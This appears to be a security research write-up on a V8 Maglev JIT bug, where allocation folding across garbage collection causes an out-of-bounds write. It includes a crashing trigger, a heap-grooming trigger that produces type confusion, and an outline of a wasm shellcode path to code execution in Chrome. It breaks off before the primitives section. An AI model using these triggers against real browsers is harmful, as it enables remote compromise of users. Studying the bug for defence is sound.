 - map: 0x3cd9082422d1 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x3cd908203c55 <Object map = 0x3cd9082421b9>
 - elements: 0x3cd90804222d <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x3cd90804222d <FixedArray[0]>
 - All own properties (excluding elements): {}
0x3cd9082422d1: [Map]
 - type: JS_OBJECT_TYPE
 - instance size: 28
 - inobject properties: 4
 - elements kind: HOLEY_ELEMENTS
 - unused property fields: 4
 - enum length: invalid
 - back pointer: 0x3cd9080423b5 <undefined>
 - prototype_validity cell: 0x3cd908182405 <Cell value= 1>
 - instance descriptors (own) #0: 0x3cd9080421c1 <Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)>
 - prototype: 0x3cd908203c55 <Object map = 0x3cd9082421b9>
 - constructor: 0x3cd90820388d <JSFunction Object (sfi = 0x3cd908184721)>
 - dependent code: 0x3cd9080421b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0

{}

				
			

V8 objects can have two kind of properties:

  • Numeric properties (e.g., obj[0], obj[1]): These are typically stored in a contiguous array pointed out by the elements pointer.
  • Named properties (e.g., obj["a"] or obj.a): These are stored by default in the same memory chunk as the object itself. Newly added properties over a certain limit (by default 4) are stored in a contiguous array pointed out by the properties pointer.

It is worth pointing out that the elements and properties fields can also point to an object representing a hashtable-like data structure in certain scenarios where faster property accesses can be achieved.

In addition, it can be seen that after the execution of for (let i =0; i<1000; i++) var geec = new Uint8Array(100000000); which triggers a major garbage collection cycle, the a object is now part of OldSpace, this is the “Old Generation”, as depicted by the first line in the debug print data.

Regardless of the type and number of properties, all objects start with a pointer to a Map object, which describes the object’s structure. Every Map object has a descriptor array with an entry for each property. Each entry holds information such as whether the property is read-only, or the type of data that it holds (i.e. double, small integer, tagged pointer). When property storage is implemented with hash tables this information is held in each hash table entry instead of in the descriptor array.

				
					0x52b08089a55: [DescriptorArray]
 - map: 0x052b080421b9 <map>
 - enum_cache: 4
   - keys: 0x052b0808a0d5 
   - indices: 0x052b0808a0ed 
 - nof slack descriptors: 0
 - nof descriptors: 4
 - raw marked descriptors: mc epoch 0, marked 0
  [0]: 0x52b0804755d: [String] in ReadOnlySpace: #a (const data field 0:s, p: 2, attrs: [WEC]) @ Any
  [1]: 0x52b080475f9: [String] in ReadOnlySpace: #b (const data field 1:d, p: 3, attrs: [WEC]) @ Any
  [2]: 0x52b082136ed: [String] in OldSpace: #c (const data field 2:h, p: 0, attrs: [WEC]) @ Any
  [3]: 0x52b0821381d: [String] in OldSpace: #d (data field 3:t, p: 1, attrs: [WEC]) @ Any</map>
				
			

In the listing above:

  • s stands for “tagged small integer”
  • d stands for double. Whether this is an untagged value or a tagged pointer depends on the value of the FLAG_unbox_double_fields compilation flag. This is set to false when pointer compression is enabled (the default for 64 bit builds). Doubles represented as heap objects consist of a Map pointer followed by the 8 byte IEEE 754 value.
  • h stands for “tagged pointer”
  • t stands for “tagged value”

JavaScript Arrays

JavaScript is a dynamically typed language where a type is associated with a value rather than an expression. Apart from primitive types such as null, undefined, strings, numbers, Symbol and boolean, everything else in JavaScript is an object.

A JavaScript object may be created in many ways, such as var foo = {}. Properties can be assigned to a JavaScript object in several ways including foo.prop1 = 12 and foo["prop1"] = 12. A JavaScript object behaves analogously to map or dictionary objects in other languages.

An Array in JavaScript (e.g., defined as var arr = [1, 2, 3] is a JavaScript object whose properties are restricted to values that can be used as array indices. The ECMAScript specification defines an Array as follows[3]:

Array objects give special treatment to a certain class of property names. A property name P (in the form of a String value) is an array index if and only if ToString(ToUint32(P)) is equal to P and ToUint32(P) is not equal to 2^32-1. A property whose property name is an array index is also called an element. Every Array object has a length property whose value is always a non-negative integer less than 2^32.

Observe that:

  • An array can contain at most 2^32-1 elements and an array index can range
    from 0 through 2^32-2.
  • Object property names that are array indices are called elements.

A TypedArray object in JavaScript describes an array-like view of an underlying binary data buffer [4]. There is no global property named TypedArray, nor is there a directly visible TypedArray constructor.

Some examples of TypedArray objects include:

  • Int8Array has a size of 1 byte and a range of -128 to 127.
  • Uint8Array has a size of 1 byte and a range of 0 to 255.
  • Int32Array has a size of 4 bytes and a range of -2147483648 to 2147483647.
  • Uint32Array has a size of 4 bytes and a range of 0 to 4294967295.

Elements Kinds in V8

V8 keeps track of which kind of elements each array contains. This information allows V8 to optimize any operations on the array specifically for this type of element. For example, when a call is made to reduce, map, or forEach on an array, V8 can optimize those operations based on what kind of elements the array contains.[5]

V8 includes a large number of element kinds. The following are just a few:

  • The fast kind that contain small integer (SMI) values: PACKED_SMI_ELEMENTS, HOLEY_SMI_ELEMENTS.
  • The fast kind that contain tagged values: PACKED_ELEMENTS, HOLEY_ELEMENTS.
  • The fast kind for unwrapped, non-tagged double values: PACKED_DOUBLE_ELEMENTS, HOLEY_DOUBLE_ELEMENTS.
  • The slow kind of elements: DICTIONARY_ELEMENTS.
  • The nonextensible, sealed, and frozen kind: PACKED_NONEXTENSIBLE_ELEMENTS, HOLEY_NONEXTENSIBLE_ELEMENTS, PACKED_SEALED_ELEMENTSHOLEY_SEALED_ELEMENTSPACKED_FROZEN_ELEMENTS, HOLEY_FROZEN_ELEMENTS.

This blog post focuses on 2 different element kinds.

  • PACKED_DOUBLE_ELEMENTS: The array is packed and it contains only 64-bit floating-point values.
  • PACKED_ELEMENTS: The array is packed and it can contain any type of element (integers, doubles, objects, etc).

The concept of transitions is important to understand this vulnerability. A transition is the process of converting one kind of array to another. For example, an array with kind PACKED_SMI_ELEMENTS can be converted to kind HOLEY_SMI_ELEMENTS. This transition is converting a more specific kind (PACKED_SMI_ELEMENTS) to a more general kind (HOLEY_SMI_ELEMENTS). However, transitions cannot go from a general kind to a more specific kind. For example, once an array is marked as PACKED_ELEMENTS (general kind), it cannot go back to PACKED_DOUBLE_ELEMENTS (specific kind) which is what this vulnerability forces for the initial corruption.[6]

The following code block illustrates how these basic types are assigned to a JavaScript array, and when these transitions take place:

				
					let array = [1, 2, 3]; // PACKED_SMI_ELEMENTS
array[3] = 3.1         // PACKED_DOUBLE_ELEMENTS
array[3] = 4           // Still PACKED_DOUBLE_ELEMENTS
array[4] = "five"      // PACKED_ELEMENTS
array[6] = 6           // HOLEY_ELEMENTS
				
			

Fast JavaScript Arrays

Recall that JavaScript arrays are objects whose properties are restricted to values that can be used as array indices. Internally, V8 uses several different representations of properties in order to provide fast property access.[7]

Fast elements are simple VM-internal arrays where the property index maps to the index in the elements store. For large or holey arrays that have empty slots at several indexes, a dictionary-based representation is used to save memory.

Vulnerability

The vulnerability exists in the VisitFindNonDefaultConstructorOrConstructMaglev function which tries to optimize a class creation when the class has a parent class. Specifically, if the class also contains a new.target reference, this will trigger a logic issue when generating the code, resulting in a second order vulnerability of the type out of bounds write. The new.target is defined as a meta-property for functions to detect whether the function has been called with the new operator. For constructors, it allows access to the function with which the new operator was called. In the following case, Reflect.construct was used to construct ClassBugwith ClassParent as new.target.

				
					function main() {
  class ClassParent {
  }
  class ClassBug extends ClassParent {
      constructor() {
        const v24 = new new.target();
        super();
        let a = [9.9,9.9,9.9,1.1,1.1,1.1,1.1,1.1];
      }
      [1000] = 8;
  }
  for (let i = 0; i < 300; i++) {
      Reflect.construct(ClassBug, [], ClassParent);
  }
}
%NeverOptimizeFunction(main);
main();
				
			

When running the above code on a debug build the following crash occurs:

				
					$ ./v8/out/x64.debug/d8 --max-opt=2 --allow-natives-syntax --expose-gc --jit-fuzzing --jit-fuzzing report-1.js 

#
# Fatal error in ../../src/objects/object-type.cc, line 82
# Type cast failed in CAST(LoadFromObject(machine_type, object, IntPtrConstant(offset - kHeapObjectTag))) at ../../src/codegen/code-stub-assembler.h:1309
  Expected Map but found Smi: 0xcccccccd (-858993459)

#
#
#
#FailureMessage Object: 0x7ffd9c9c15a8
==== C stack trace ===============================

    ./v8/out/x64.debug/libv8_libbase.so(v8::base::debug::StackTrace::StackTrace()+0x1e) [0x7f2e07dc1f5e]
    ./v8/out/x64.debug/libv8_libplatform.so(+0x522cd) [0x7f2e07d142cd]
    ./v8/out/x64.debug/libv8_libbase.so(V8_Fatal(char const*, int, char const*, ...)+0x1ac) [0x7f2e07d9019c]
    ./v8/out/x64.debug/libv8.so(v8::internal::CheckObjectType(unsigned long, unsigned long, unsigned long)+0xa0df) [0x7f2e0d37668f]
    ./v8/out/x64.debug/libv8.so(+0x3a17bce) [0x7f2e0b7eebce]
Trace/breakpoint trap (core dumped)
				
			

The constructor of the ClassBug class has the following bytecode:

				
					// [1]
         0x9b00019a548 @    0 : 19 fe f8          Mov , r1
         0x9b00019a54b @    3 : 0b f9             Ldar r0
         0x9b00019a54d @    5 : 69 f9 f9 00 00    Construct r0, r0-r0, [0]
         0x9b00019a552 @   10 : c3                Star2

// [2]
         0x9b00019a553 @   11 : 5a fe f9 f2       FindNonDefaultConstructorOrConstruct , r0, r7-r8
         0x9b00019a557 @   15 : 0b f2             Ldar r7
         0x9b00019a559 @   17 : 19 f8 f5          Mov r1, r4
         0x9b00019a55c @   20 : 19 f9 f3          Mov r0, r6
         0x9b00019a55f @   23 : 19 f1 f4          Mov r8, r5
         0x9b00019a562 @   26 : 99 0c             JumpIfTrue [12] (0x9b00019a56e @ 38)
         0x9b00019a564 @   28 : ae f4             ThrowIfNotSuperConstructor r5
         0x9b00019a566 @   30 : 0b f3             Ldar r6
         0x9b00019a568 @   32 : 69 f4 f9 00 02    Construct r5, r0-r0, [2]
         0x9b00019a56d @   37 : c0                Star5
         0x9b00019a56e @   38 : 0b 02             Ldar 
         0x9b00019a570 @   40 : ad                ThrowSuperAlreadyCalledIfNotHole
         
// [3]
         0x9b00019a571 @   41 : 19 f4 02          Mov r5, 
         0x9b00019a574 @   44 : 2d f5 00 04       GetNamedProperty r4, [0], [4]
         0x9b00019a578 @   48 : 9d 0a             JumpIfUndefined [10] (0x9b00019a582 @ 58)
         0x9b00019a57a @   50 : be                Star7
         0x9b00019a57b @   51 : 5d f2 f4 06       CallProperty0 r7, r5, [6]
         0x9b00019a57f @   55 : 19 f4 f3          Mov r5, r6

// [4]
         0x9b00019a582 @   58 : 7a 01 08 25       CreateArrayLiteral [1], [8], #37
         0x9b00019a586 @   62 : c2                Star3
         0x9b00019a587 @   63 : 0b 02             Ldar 
         0x9b00019a589 @   65 : aa                Return
				
			

Briefly, [1] represents the new new.target() line, [2] corresponds to the creation of the object, [3] represents the super() call and [4] is the creation of the array after the call to super. When this code is run a few times, it will be compiled by the Maglev JIT compiler which will handle each bytecode operation separately. The vulnerability lies in the manner in which Maglev will lower the  FindNonDefaultConstructorOrConstruct bytecode operation into Maglev IR.

When Maglev lowers the bytecode into IR, it will also include the code for initialization of the this object, which means that it will also contain the code [1000] = 8 from the trigger. The generated Maglev IR graph with the vulnerable optimization will be:

				
					[TRUNCATED]
  0x16340019a2e1  (0x163400049c41 )
    11 : FindNonDefaultConstructorOrConstruct , r0, r7-r8

[5]

    20/18: AllocateRaw(Young, 100) → [rdi|R|t] (spilled: [stack:1|t]), live range: [20-47]
    21/19: StoreMap(0x16340019a961 <map>) [v20/n18:[rdi|R|t]]
    22/20: StoreTaggedFieldNoWriteBarrier(0x4) [v20/n18:[rdi|R|t], v5/n10:[rax|R|t]]
    23/21: StoreTaggedFieldNoWriteBarrier(0x8) [v20/n18:[rdi|R|t], v5/n10:[rax|R|t]]

[TRUNCATED]

│ 0x16340019a31d  (0x163400049c41 :9:15)
│    5 : DefineKeyedOwnProperty , r0, #0, [0]

[6]

│   28/30:   DefineKeyedOwnGeneric [v2/n3:[rsi|R|t], v20/n18:[rdx|R|t], v4/n27:[rcx|R|t], v7/n28:[rax|R|t], v6/n29:[r11|R|t]] → [rax|R|t]
│          │      @51 (3 live vars)
│          ↳ lazy @5 (2 live vars)
│ 0x16340019a2e1  (0x163400049c41 )
│   58 : CreateArrayLiteral [1], [8], #37
│╭──29/31: Jump b8
││
╰─►Block b7
 │  30/32: Jump b8
 │      ↓
 ╰►Block b8

 [7]

    31/33: FoldedAllocation(+12) [v20/n18:[rdi|R|t]] → [rcx|R|t], live range: [31-46]
       59: GapMove([rcx|R|t] → [rdi|R|t])
    32/34: StoreMap(0x163400000829 <map>) [v31/n33:[rdi|R|t]]

[TRUNCATED]</map></map>
				
			

When optimizing the construction of the ClassBug class at [5] Maglev will perform a raw allocation preempting the need for more space for the double array defined at [4] in the previous listing, also noting that it will spill the pointer to this allocation into the stack (spilled: [stack:1|t]). However, when constructing the object the [1000] = 8 property definition depicted at [6] will trigger a garbage collection. This side-effect cannot be observed in Maglev IR itself as it is the responsibility of Maglev to perform garbage collector safe allocations. Thus at [7], the FoldedAllocation will try to use the previously allocated space at [5] (depicted by v20/n18) by recovering the spill from the stack, add +12 to the pointer and finally storing the pointer back in the rcx register. Later GapMove will place the pointer into rdi and finally StoreMap will start writing the double array, starting with its Map, at such pointer, effectively rewriting memory at a different location than the one expected by Maglev IR, as it was moved by the garbage collection cycle at [6]. This behavior is seen in depth in the following section.

Code Analysis

Allocating Folding

Maglev tries to optimize allocations by trying to fold multiple allocations into a single large one. It stores a pointer to the last node that allocated memory (the AllocateRawnode). The next time there is a request for allocation, it performs certain checks and if those pass, it increases the size of the previous allocation by the size requested for the new one. This means that if there is a request to allocate 12 bytes and later there is another request to allocate 88 bytes, Maglev will just make the first allocation 100 bytes long and remove the second allocation completely. The first 12 bytes of this allocation will be used for the purpose of the first allocation and the following 88 bytes will be used for the second one. This can be seen in the code that follows.

When Maglev tries to lower code and encounters places where there is a need to allocate memory, the MaglevGraphBuilder::ExtendOrReallocateCurrentRawAllocation() function is called. The source for this function is provided below.

				
					// File: src/maglev/maglev-graph-builder.cc

ValueNode* MaglevGraphBuilder::ExtendOrReallocateCurrentRawAllocation(
    int size, AllocationType allocation_type) {

[1] 

  if (!current_raw_allocation_ ||
      current_raw_allocation_->allocation_type() != allocation_type ||
      !v8_flags.inline_new) {
    current_raw_allocation_ =
        AddNewNode<AllocateRaw>({}, allocation_type, size);
    return current_raw_allocation_;
  }

[2]

  int current_size = current_raw_allocation_->size();
  if (current_size + size > kMaxRegularHeapObjectSize) {
    return current_raw_allocation_ =
               AddNewNode<AllocateRaw>({}, allocation_type, size);
  }

[3]

  DCHECK_GT(current_size, 0);
  int previous_end = current_size;
  current_raw_allocation_->extend(size);
  return AddNewNode<FoldedAllocation>({current_raw_allocation_}, previous_end);
}
				
			

This function accepts two arguments, the first being the size to allocate and the second being the AllocationType which specifies details about how/where to allocate – for example if this allocation is supposed to be in the Young Space or the Old Space.

At [1] it checks if the current_raw_allocation_ is null or its AllocationType is not equal to what was requested for the current allocation. In either case, a new AllocateRaw node is added to the Maglev CFG, and a pointer to this node is saved in current_raw_allocation_. Hence, the current_raw_allocation_ variable always points to the node that performed the last allocation.

When the control reaches [2], it means that the current_raw_allocation_ is not empty and the allocation type of the previous allocation matches that of the current one. If so, the compiler checks that the total size, that is the size of the previous allocation added to the requested size, is less than 0x20000. If not, a new AllocateRaw node is emitted for this allocation again and a pointer to it is saved in current_raw_allocation_.

If control reached [3], then it means that the amount to allocate now can be merged with the last allocation. Hence the size of the last allocation is extended by the requested size using the extend() method on the current_raw_allocation_. This ensures that the previous allocation will allocate the memory required for this allocation as well. After that a FoldedAllocation node is emitted. This node holds the offset into the previous allocation where the memory for the current allocation will start. For example, if the first allocation was 12 bytes, and the second one was for 88 bytes, then Maglev will merge both allocations and make the first one an allocation for 100 bytes. The second one will be replaced with a FoldedAllocation node that points to the previous allocation and holds the offset 12 to signify that this allocation will start 12 bytes into the previous allocation.

In this manner Maglev optimizes the number of allocations that it performs. In the code, this is referred to as Allocation Folding and the allocations that are optimized out by extending the size of the previous allocation are called Folded Allocations. However, a caveat here is the garbage collection (GC). As mentioned in previous sections, V8 has a moving garbage collector. Hence if a GC occurs between two “folded” allocations, the object that was initialized in the first allocation will be moved elsewhere while the space that was reserved for the second allocation will be freed because the GC will not see an object there (since the GC occurred after the initialization of the first object but before that of the second). Since the GC does not see an object, it will assume that it is free space and free it. Later when the second object is going to be initialized, the FoldedAllocation node will report the offset from the start of the previous allocation (which is now moved) and using that offset to initialize the object will result in an out of bounds write. This happens because only the memory corresponding to the first object was moved which means that in the example from above, only 12 bytes are moved while the FoldedAllocation will report that the second object can be initialized at the offset of 12 bytes from the start of the allocation hence writing out of bounds. Therefore, care should be taken to avoid a scenario where a GC can occur between Folded Allocations.

BuildAllocateFastObject

The BuildAllocateFastObject() function is a wrapper around ExtendOrReallocateCurrentRawAllocation() that can call the ExtendOrReallocateCurrentRawAllocation() function multiple times to allocate space for the object, as well as, for its elements and in-object property values.

				
					// File: src/maglev/maglev-graph-builder.cc
ValueNode* MaglevGraphBuilder::BuildAllocateFastObject(
    FastObject object, AllocationType allocation_type) {

      
[TRUNCATED]

[1]

  ValueNode* allocation = ExtendOrReallocateCurrentRawAllocation(
      object.instance_size, allocation_type);
      
[TRUNCATED]

  return allocation;
}
				
			

As can be seen at [1], this function calls the ExtendOrReallocateCurrentRawAllocation() function whenever it needs to do an allocation and then initializes the allocated memory with the data for the object. An important point to note here is that this function never clears the current_raw_allocation_ variable once it finishes, thereby making it the responsibility of the caller to clear that variable when required. The MaglevGraphBulider has a helper function called ClearCurrentRawAllocation() to set the current_raw_allocation_ member to NULL to achieve this. Like we discussed in the previous section, if the variable is not cleared correctly, then allocations can get folded across GC boundaries which will lead to an out of bounds write.

VisitFindNonDefaultConstructorOrConstruct

The FindNonDefaultConstructorOrConstruct bytecode op is used to construct the object instance. It walks the prototype chain from constructor’s super constructor until it sees a non-default constructor. If the walk ends at a default base constructor, as will be the case with the test case we saw earlier, it creates an instance of this object.

The Maglev compiler calls the VisitFindNonDefaultConstructorOrConstruct() function to lower this opcode into Maglev IR. The code for this function can be seen below.

				
					// File: src/maglev/maglev-graph-builder.cc

void MaglevGraphBuilder::VisitFindNonDefaultConstructorOrConstruct() {
  ValueNode* this_function = LoadRegisterTagged(0);
  ValueNode* new_target = LoadRegisterTagged(1);

  auto register_pair = iterator_.GetRegisterPairOperand(2);

// [1]

  if (TryBuildFindNonDefaultConstructorOrConstruct(this_function, new_target,
                                                   register_pair)) {
    return;
  }

// [2]

  CallBuiltin* result =
      BuildCallBuiltin(
          {this_function, new_target});
  StoreRegisterPair(register_pair, result);
}
				
			

At [1] this function calls the TryBuildFindNonDefaultConstructorOrConstruct()function. This function tries to optimize the creation of the object instance if certain invariants hold. This will be discussed in more detail in the following section. In case the TryBuildFindNonDefaultConstructorOrConstruct() function returns true, then it means that the optimization was successful and the opcode has been lowered into Maglev IR so the function returns here.

However, if the TryBuildFindNonDefaultConstructorOrConstruct() function says that optimization is not possible, then control reaches [3], which emits Maglev IR that will call into the interpreter implementation of the FindNonDefaultConstructorOrConstruct opcode.

The vulnerability we are discussing resides in the TryBuildFindNonDefaultConstructorOrConstruct() function and requires this function to succeed in optimization of the instance construction.

TryBuildFindNonDefaultConstructorOrConstruct

Since this function is pretty large, only the relevant parts are highlighted below.

				
					// File: src/maglev/maglev-graph-builder.cc

bool MaglevGraphBuilder::TryBuildFindNonDefaultConstructorOrConstruct(
    ValueNode* this_function, ValueNode* new_target,
    std::pair<interpreter::Register, interpreter::Register> result) {
  // See also:
  // JSNativeContextSpecialization::ReduceJSFindNonDefaultConstructorOrConstruct

[1]

  compiler::OptionalHeapObjectRef maybe_constant =
      TryGetConstant(this_function);
  if (!maybe_constant) return false;

  compiler::MapRef function_map = maybe_constant->map(broker());
  compiler::HeapObjectRef current = function_map.prototype(broker());
  
[TRUNCATED]

[2]

  while (true) {
    if (!current.IsJSFunction()) return false;
    compiler::JSFunctionRef current_function = current.AsJSFunction();

[TRUNCATED]

[3]

    FunctionKind kind = current_function.shared(broker()).kind();
    if (kind != FunctionKind::kDefaultDerivedConstructor) {

[TRUNCATED]

[4]

      compiler::OptionalHeapObjectRef new_target_function =
          TryGetConstant(new_target);
      if (kind == FunctionKind::kDefaultBaseConstructor) {

[TRUNCATED]

[5]

        ValueNode* object;
        if (new_target_function && new_target_function->IsJSFunction() &&
            HasValidInitialMap(new_target_function->AsJSFunction(),
                               current_function)) {
          object = BuildAllocateFastObject(
              FastObject(new_target_function->AsJSFunction(), zone(), broker()),
              AllocationType::kYoung);
        } else {
          object = BuildCallBuiltin<Builtin::kFastNewObject>(
              {GetConstant(current_function), new_target});
          // We've already stored "true" into result.first, so a deopt here just
          // has to store result.second.
          object->lazy_deopt_info()->UpdateResultLocation(result.second, 1);
        }

[TRUNCATED]

[6]

    // Keep walking up the class tree.
    current = current_function.map(broker()).prototype(broker());
  }
}
				
			

Essentially this function tries to walk the prototype chain of the object that is being constructed, in order to find out the first non default constructor and use that information to construct the object instance. However, for the logic that this function uses to hold true, a few preconditions must hold. The relevant ones for this vulnerability are discussed below.

[1] highlights the first precondition that should hold – the object whose instance is being constructed should be a “constant”.

The while loop starting at [2] handles the prototype walk, with each iteration of the loop handling one of the parent objects. The current_function variable holds the constructor of this parent object. In case one of the parent constructors is not a function, it bails out.

At [3] the FunctionKind of the function is calculated. The FunctionKind is an enum that holds information about the function which says what type of a function it is – for example it can be a normal function, a base constructor, a default constructor, etc. The function then checks if the kind is a default derived constructor, and if so the control goes to [6] and the loop skips processing this parent object. The logic here is that if the constructor of the parent object in the current iteration is a default derived constructor, then this parent does not specify a constructor (it is the default one) and neither does the base object (it is a derived constructor). Hence, the loop can skip this parent object and straightaway go on to the parent of this object.

The block at [4] does two things. It first attempts to fetch the constant value of the new.target. Since the control is here, the if statement at [3] already passed, which means that the parent object being processed in the current iteration either has a non default constructor or is the base object with a default or a non default constructor. The if statement here checks the function kind to see if the function is the base object with the default constructor. If so, at [5], it checks that the new target is a valid constant that can construct the instance. If this check also passes, then the function knows that the current parent being iterated over is the base object that has the default constructor appropriately set up to create the instance of the object. Hence, it goes on to call the BuildAllocateFastObject() function with the new target as the argument, to get Maglev to emit IR that will allocate and initialize an instance of the object. As mentioned before, the BuildAllocateFastObject() calls the ExtendOrReallocateCurrentRawAllocation() function to allocate necessary memory and initializes everything with the object data that is to be constructed.

However, as the previous section mentioned, it is the responsibility of the caller of the BuildAllocateFastObject() function to ensure that the current_raw_allocation_is cleared properly. As can be seen in the code, the TryBuildFindNonDefaultConstructorOrConstruct() never clears the current_raw_allocation_ variable after calling BuildAllocateFastObject(). Hence if the next allocation that is made after the FindNonDefaultConstructorOrConstruct is folded with this allocation and there is a GC in between the two, then the initialization of the second allocation will be an out of bounds write.

There are two important conditions to reach the BuildAllocateFastObject() call in TryBuildFindNonDefaultConstructorOrConstruct() that were discussed above. First, the original constructor function that is being called should be a constant (this can be seen at [1]). Second, the new target which the constructor is being called with should also be constant (this can be seen at [3]). There are other constraints that are easier to achieve like the base object having a default constructor and no other parent object having a custom constructor.

Triggering the Vulnerability

As mentioned previously, the vulnerability can be triggered with the following JavaScript code.

				
					function main() {

[1]

  class ClassParent {}
  
  class ClassBug extends ClassParent {

      constructor() {
[2]

        const v24 = new new.target();
[3]

        super();
[4]

        let a = [9.9,9.9,9.9,1.1,1.1,1.1,1.1,1.1];
      }
[5]

      [1000] = 8;
  }
  
[6]  

  for (let i = 0; i < 300; i++) {
      Reflect.construct(ClassBug, [], ClassParent);
  }
}
%NeverOptimizeFunction(main);
main();
				
			

The ClassParent class as seen at [1] is the parent of the ClassBug class. The ClassParent class is a base class with a default constructor satisfying one of the conditions required to trigger the bug. The ClassBug class does not have any parent with a custom constructor (it has only one parent object which is ClassParent with the default constructor). Hence, another of the conditions is satisfied.

At [2], a call is made to create an instance of the new.target, when this is done Maglev will emit a CheckValue on the ClassParent to ensure that it remains constant at runtime. This CheckValue will mark the ClassParent which is the new.target as a constant. Hence another condition is satisfied for the issue to trigger.

At [3] the super constructor is called. Essentially, when the super constructor is called, the engine does the allocation and the initialization for the this object. In other words, this is when the object instance is created and initialized. Hence at the point of the super function call, the FindNonDefaultConstructorOrConstruct opcode is emitted which will take care of creating the instance with the correct parent. After that the initialization for this object is done, which means that the code for [5] is emitted. The code at [5] basically sets the property 1000 of the current instance of ClassBug to the value 8. For this it will perform some allocation and hence this code can trigger a GC run. To summarize, two things happen at [3] – firstly the this object is allocated and initialized as per the correct parent object. After that the code for [1000] = 8 from [5] is emitted which can trigger a GC.

The array creation at [4] will again attempt to allocate memory for the metadata and the elements of the array. However the Maglev code for FindNonDefaultConstructorOrConstruct, which was called for allocation of the this object, made an allocation without ever clearing the current_raw_allocation_pointer. Hence the allocation for the array elements and metadata will be folded along with the allocation for the this object. However, as mentioned in the previous paragraph, the code for [5], which can trigger a GC lies between the original allocation and this folded one. Therefore if a GC occurs in the code emitted for [5], then the original allocation which was meant to hold both, the this object as well as the array a, will be moved to a different place where the size of the allocation will only include the this object. Hence when the code for initializing the array elements and metadata is run, it will result in an out of bounds write, corrupting whatever lies after the this object in the new memory region.

Finally, at [6] the class instantiation is run within the for loop via Reflect.construct to trigger the JIT compilation on Maglev.

In the next section, we will take a look at how we can exploit this issue to gain code execution inside the Chrome sandbox.

Exploitation

Exploiting this vulnerability involves the following steps:

  • Triggering the vulnerability by directing an allocation to be a FoldedAllocation and forcing a garbage collection cycle before the FoldedAllocation part of the allocation is performed.
  • Setting up the V8 heap whereby the garbage collection ends up placing objects in a way that makes possible overwriting the map of an adjacent array.
  • Locating the corrupted array object to construct the addrof,read, and writeprimitives.
  • Creating and instantiating two wasm instances.
  • One containing shellcode that has been “smuggled” by means of writing floating point values. This wasm instance should also export a main function to be called afterwards.
  • The first shellcode smuggled in the wasm contains functionality to perform arbitrary writes on the whole process space. This has to be used to copy the target payload.
  • The second wasm instance will have its shellcode overwritten by means of using the arbitrary write smuggled in the first one. This second instance will also export a main function.
  • Finally, calling the exported main function of the second instance, running the final stage of the shellcode.

Triggering the Vulnerability

The Triggering the Vulnerability from the Code Analysis section highlighted a minimal crashing trigger. This section explores how to extend more control over when the vulnerability is triggered and also how to trigger it in a more exploitable manner.

				
					et empty_object = {}
  let corrupted_instance = null;

  class ClassParent {} 
  class ClassBug extends ClassParent {
    constructor(a20, a21, a22) {

      const v24 = new new.target();

// [1]

      // We will overwrite the contents of the backing elements of this array.
      let x = [empty_object, empty_object, empty_object, empty_object, empty_object, empty_object, empty_object, empty_object];

// [2]

      super();


// [3]

      let a = [1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1,1.1];


// [4]

      this.x = x;
      this.a = a;

      JSON.stringify(empty_array);
    }

// [5]

    [1] = dogc();
  }

// [6]

  for (let i = 0; i<200; i++) {
    dogc_flag = false;
    if (i%2 == 0) dogc_flag = true;
    dogc();
  }

// [7]

  for (let i = 0; i < 650; i++) {

    dogc_flag=false;

// [8]

    // We will do a gc a couple of times before we hit the bug to clean up the
    // heap. This will mean that when we hit the bug, the nursery space will have
    // very few objects and it will be more likely to have a predictable layout.
    if (i == 644 || i == 645 || i == 646 || i == 640) { 
      dogc_flag=true;
      dogc();
      dogc_flag=false;
    }

// [9]

    // We are going to trigger the bug. To do so we set `dogc_flag` to true
    // before we construct ClassBug.
    if (i == 646) dogc_flag=true;

    let x = Reflect.construct(ClassBug, empty_array, ClassParent);

// [10]

    // We save the ClassBug instance we corrupted by the bug into `corrupted_instance`
    if (i == 646) corrupted_instance = x;
  }
				
			

There are a few changes in this trigger as compared to the one seen before. Firstly, at [1] there is an array x that is created which will hold objects having a PACKED_ELEMENTS kind. It was observed that when the GC is triggered at [2], and the existing objects are moved to a different memory region, the elements backing buffer of the x array will lie after the this pointer of the object. As detailed in the previous vulnerability trigger section, due to the vulnerability, when the garbage collection occurs at [2], the allocation that immediately follows performs an out of bounds write on the object that lies after the this object in the heap. This means that with the current setup, the array at [3] will be initialized in the elements backing buffer of x. The following image shows the state of the necessary part of the Old Space after the GC has run and the array a has been allocated.

State of the Old Space

This provides powerful primitives of type confusion because the same allocation in memory has been dedicated to both – the raw floating points and metadata of a – as well as for the backing buffer of x which holds JSObjects as values. Hence this allows the exploit to read a JSObject pointer as float from the a array providing with a leak, as well as the ability to corrupt the metadata of a from x which can lead to arbitrary write within the V8 heap as will be shown later. At [4], references to both, x and a, are saved as member variables so that they can be accessed later once the constructor is finished running.

Secondly, we modified the GC trigger mechanism in this trigger. Earlier, there was a point where allocation of the elements pointer of the this object caused a GC because there was no more space on the heap. However, it was unpredictable when the GC would occur and hence the bug would trigger. Therefore in this trigger, the initialized index is a small one as can be seen at [5]. However when there is an attempt to initialize the index, the engine will call the dogc function which performs a GC when the dogc_flag is set to true. Hence a GC will occur only when required and not on each run. Since the element index being initialized at [5] is a small one (index 1), the allocation made for it will be small and typically not trigger another GC.

Thirdly, as can be seen at [6], before starting with the exploit, we trigger the GC a few times. This is done for two reasons – to JIT compile the dogc function and to trigger a few initial GC runs which would move all existing objects to the Old Space Heap, thereby cleaning up the heap before getting started with the exploit.

Finally, the for loop at [7] is run only a particular number of time. This is the loop that Maglev JIT compiles the constructor of the ClassBug. If it is run too often, then V8 will TurboFan JIT compile it and prevent the bug from triggering. If it runs too few times, the Maglev compiler will never kick in. The number of times the loop runs and the iteration count when to trigger the bug was chosen heuristically by observing the behavior of the engine in different runs. At [9] we trigger the bug when the loop count is 646. However a few runs before triggering the bug, we trigger a GC just to clean up the heap off of any stale objects that linger from past allocations. This can be seen at [8]. Doing this increases the chances that the post GC object layout remains what the we expect it to. In the iteration the bug is triggered, the created object is stored into the corrupted_instance variable.

Exploit Primitives

